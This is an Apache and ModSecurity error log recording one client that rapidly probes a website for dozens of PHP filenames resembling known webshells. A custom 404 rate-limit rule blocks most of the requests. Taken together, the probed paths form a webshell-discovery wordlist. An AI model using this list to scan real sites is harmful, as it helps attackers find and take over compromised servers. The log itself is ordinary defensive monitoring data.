[Tue Apr 21 16:33:57.311883 2026] [:error] [pid 54080:tid 54084] [client 98.71.67.66:1322] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aec2dYzEbQHHxtmWbaZ0mwAAAsI"]
[Tue Apr 21 16:33:58.021358 2026] [:error] [pid 35320:tid 35338] [client 98.71.67.66:23479] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aec2doJW6fdXWO6agME-twAAAAg"]
[Tue Apr 21 16:33:58.721937 2026] [:error] [pid 35320:tid 35341] [client 98.71.67.66:30081] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aec2doJW6fdXWO6agME-wwAAAAs"]
[Tue Apr 21 16:33:59.406803 2026] [:error] [pid 54080:tid 54105] [client 98.71.67.66:26926] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aec2d4zEbQHHxtmWbaZ0nAAAAtc"]
[Tue Apr 21 16:34:00.268197 2026] [:error] [pid 53978:tid 53986] [client 98.71.67.66:17216] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aec2eJ1ivsR4hcOSQbbBnQAAAoY"]
[Tue Apr 21 16:34:01.147963 2026] [:error] [pid 4823:tid 4873] [client 98.71.67.66:17238] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aec2efc8mke3PfHqsxHZfAAAAZQ"]
[Tue Apr 21 16:34:01.829731 2026] [:error] [pid 35320:tid 35330] [client 98.71.67.66:26891] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aec2eYJW6fdXWO6agME-ygAAAAA"]
[Tue Apr 21 16:34:02.409911 2026] [:error] [pid 35320:tid 35340] [client 98.71.67.66:17258] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aec2eoJW6fdXWO6agME-zQAAAAo"]
[Tue Apr 21 16:34:03.142089 2026] [:error] [pid 35321:tid 35391] [client 98.71.67.66:31983] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aec2ezeHLhVUuu8cVXzfKwAAAEc"]
[Tue Apr 21 16:34:04.393848 2026] [:error] [pid 35320:tid 35337] [client 98.71.67.66:1039] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aec2fIJW6fdXWO6agME-3gAAAAc"]
[Tue Apr 21 16:34:05.031889 2026] [:error] [pid 35321:tid 35386] [client 98.71.67.66:30093] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aec2fTeHLhVUuu8cVXzfLwAAAEI"]
[Tue Apr 21 16:34:05.772743 2026] [:error] [pid 4777:tid 4802] [client 98.71.67.66:30122] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aec2faxXur6bykKyLZSPWwAAAQ4"]
[Tue Apr 21 16:34:06.406353 2026] [:error] [pid 54080:tid 54091] [client 98.71.67.66:34300] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aec2fozEbQHHxtmWbaZ0pQAAAsk"]
[Tue Apr 21 16:34:07.210689 2026] [:error] [pid 54080:tid 54105] [client 98.71.67.66:31960] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aec2f4zEbQHHxtmWbaZ0pwAAAtc"]
[Tue Apr 21 16:34:08.442615 2026] [:error] [pid 4823:tid 4858] [client 98.71.67.66:1059] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aec2gPc8mke3PfHqsxHZfgAAAYU"]
[Tue Apr 21 16:34:09.379380 2026] [:error] [pid 54080:tid 54103] [client 98.71.67.66:26927] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aec2gYzEbQHHxtmWbaZ0rQAAAtU"]
[Tue Apr 21 16:34:10.134877 2026] [:error] [pid 54080:tid 54096] [client 98.71.67.66:30110] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aec2gozEbQHHxtmWbaZ0sgAAAs4"]
[Tue Apr 21 16:34:10.858104 2026] [:error] [pid 54080:tid 54094] [client 98.71.67.66:31989] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aec2gozEbQHHxtmWbaZ0uAAAAsw"]
[Tue Apr 21 16:34:11.425478 2026] [:error] [pid 53978:tid 53999] [client 98.71.67.66:34267] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aec2g51ivsR4hcOSQbbBqQAAApM"]
[Tue Apr 21 16:34:12.175098 2026] [:error] [pid 53978:tid 53982] [client 98.71.67.66:26898] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aec2hJ1ivsR4hcOSQbbBrwAAAoI"]
[Tue Apr 21 16:34:12.840908 2026] [:error] [pid 53731:tid 53739] [client 98.71.67.66:30099] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aec2hF2I9THUR-bRVGznVQAAAgQ"]
[Tue Apr 21 16:34:13.598543 2026] [:error] [pid 4823:tid 4870] [client 98.71.67.66:34264] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aec2hfc8mke3PfHqsxHZhAAAAZE"]
[Tue Apr 21 16:34:14.256436 2026] [:error] [pid 35321:tid 35389] [client 98.71.67.66:1292] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aec2hjeHLhVUuu8cVXzfOAAAAEU"]
[Tue Apr 21 16:34:14.957586 2026] [:error] [pid 35321:tid 35399] [client 98.71.67.66:34295] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aec2hjeHLhVUuu8cVXzfOwAAAE8"]
[Tue Apr 21 16:34:15.698476 2026] [:error] [pid 35321:tid 35407] [client 98.71.67.66:30091] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aec2hzeHLhVUuu8cVXzfQgAAAFc"]
[Tue Apr 21 16:34:16.398186 2026] [:error] [pid 54080:tid 54090] [client 98.71.67.66:34261] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aec2iIzEbQHHxtmWbaZ0zQAAAsg"]
[Tue Apr 21 16:34:16.985936 2026] [:error] [pid 54080:tid 54082] [client 98.71.67.66:30126] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aec2iIzEbQHHxtmWbaZ00QAAAsA"]
[Tue Apr 21 16:34:17.598574 2026] [:error] [pid 54080:tid 54106] [client 98.71.67.66:30137] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aec2iYzEbQHHxtmWbaZ01AAAAtg"]
[Tue Apr 21 16:34:18.357015 2026] [:error] [pid 53978:tid 53982] [client 98.71.67.66:17180] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aec2ip1ivsR4hcOSQbbBtQAAAoI"]
[Tue Apr 21 16:34:19.050558 2026] [:error] [pid 53731:tid 53755] [client 98.71.67.66:17153] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aec2i12I9THUR-bRVGznYAAAAhM"]
[Tue Apr 21 16:34:19.601048 2026] [:error] [pid 4777:tid 4800] [client 98.71.67.66:30084] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aec2i6xXur6bykKyLZSPXgAAAQw"]
[Tue Apr 21 16:34:20.205177 2026] [:error] [pid 53731:tid 53745] [client 98.71.67.66:23474] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aec2jF2I9THUR-bRVGznYwAAAgo"]
[Tue Apr 21 16:34:20.911946 2026] [:error] [pid 4777:tid 4803] [client 98.71.67.66:34245] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aec2jKxXur6bykKyLZSPXwAAAQ8"]
[Tue Apr 21 16:34:21.555210 2026] [:error] [pid 4777:tid 4792] [client 98.71.67.66:30098] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aec2jaxXur6bykKyLZSPYQAAAQQ"]
[Tue Apr 21 16:34:22.116195 2026] [:error] [pid 35415:tid 35432] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/xmini.php
[Tue Apr 21 16:34:22.446641 2026] [:error] [pid 35415:tid 35444] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/2468.php
[Tue Apr 21 16:34:23.005691 2026] [:error] [pid 35415:tid 35448] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Tue Apr 21 16:34:23.301523 2026] [:error] [pid 35415:tid 35441] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/amdin.php
[Tue Apr 21 16:34:23.572163 2026] [:error] [pid 35415:tid 35435] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/huya.php
[Tue Apr 21 16:34:23.892374 2026] [:error] [pid 35415:tid 35450] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/puc.php
[Tue Apr 21 16:34:24.172845 2026] [:error] [pid 35415:tid 35433] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Tue Apr 21 16:34:24.459554 2026] [:error] [pid 35415:tid 35442] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/ewp.php
[Tue Apr 21 16:34:24.741123 2026] [:error] [pid 35415:tid 35446] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/kikikoko.php
[Tue Apr 21 16:34:25.159070 2026] [:error] [pid 35415:tid 35429] [client 98.71.67.66:42848] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Tue Apr 21 16:34:25.435429 2026] [:error] [pid 35415:tid 35447] [client 98.71.67.66:42848] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aec2kUiqDinI4_22zzhfQgAAANQ"]
[Tue Apr 21 16:34:26.110851 2026] [:error] [pid 4777:tid 4797] [client 98.71.67.66:1339] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aec2kqxXur6bykKyLZSPaAAAAQk"]
[Tue Apr 21 16:34:26.785754 2026] [:error] [pid 53978:tid 53987] [client 98.71.67.66:17279] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aec2kp1ivsR4hcOSQbbBwQAAAoc"]
[Tue Apr 21 16:34:27.414994 2026] [:error] [pid 53978:tid 54002] [client 98.71.67.66:31988] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aec2k51ivsR4hcOSQbbBxAAAApY"]
[Tue Apr 21 16:34:28.012652 2026] [:error] [pid 35321:tid 35384] [client 98.71.67.66:31982] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aec2lDeHLhVUuu8cVXzfUgAAAEA"]
[Tue Apr 21 16:34:28.890478 2026] [:error] [pid 35415:tid 35451] [client 98.71.67.66:1080] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aec2lEiqDinI4_22zzhfRAAAANg"]
[Tue Apr 21 16:34:29.598142 2026] [:error] [pid 35415:tid 35436] [client 98.71.67.66:31953] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aec2lUiqDinI4_22zzhfRQAAAMk"]
[Tue Apr 21 16:34:30.279545 2026] [:error] [pid 54080:tid 54101] [client 98.71.67.66:1311] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "aec2lozEbQHHxtmWbaZ03gAAAtM"]
[Tue Apr 21 16:34:31.050711 2026] [:error] [pid 53731:tid 53735] [client 98.71.67.66:42841] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aec2l12I9THUR-bRVGznZAAAAgA"]
[Tue Apr 21 16:34:31.654294 2026] [:error] [pid 4777:tid 4791] [client 98.71.67.66:1061] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aec2l6xXur6bykKyLZSPdAAAAQM"]
[Tue Apr 21 16:34:32.439165 2026] [:error] [pid 53978:tid 53982] [client 98.71.67.66:17239] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aec2mJ1ivsR4hcOSQbbBygAAAoI"]
[Tue Apr 21 16:34:33.192410 2026] [:error] [pid 35321:tid 35395] [client 98.71.67.66:1294] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aec2mTeHLhVUuu8cVXzfYgAAAEs"]
[Tue Apr 21 16:34:33.854620 2026] [:error] [pid 35321:tid 35399] [client 98.71.67.66:1050] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aec2mTeHLhVUuu8cVXzfZAAAAE8"]
[Tue Apr 21 16:34:34.549871 2026] [:error] [pid 35320:tid 35347] [client 98.71.67.66:17207] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aec2moJW6fdXWO6agME-8wAAABE"]
[Tue Apr 21 16:34:35.266297 2026] [:error] [pid 53832:tid 53843] [client 98.71.67.66:31954] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aec2m9zkuxsE_OhM9UI9VwAAAkg"]
[Tue Apr 21 16:34:36.009476 2026] [:error] [pid 53832:tid 53836] [client 98.71.67.66:65241] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aec2nNzkuxsE_OhM9UI9XQAAAkE"]
[Tue Apr 21 16:34:36.838729 2026] [:error] [pid 35320:tid 35351] [client 98.71.67.66:65246] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aec2nIJW6fdXWO6agME--wAAABU"]
[Tue Apr 21 16:34:37.479670 2026] [:error] [pid 53731:tid 53756] [client 98.71.67.66:16538] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aec2nV2I9THUR-bRVGznbQAAAhQ"]
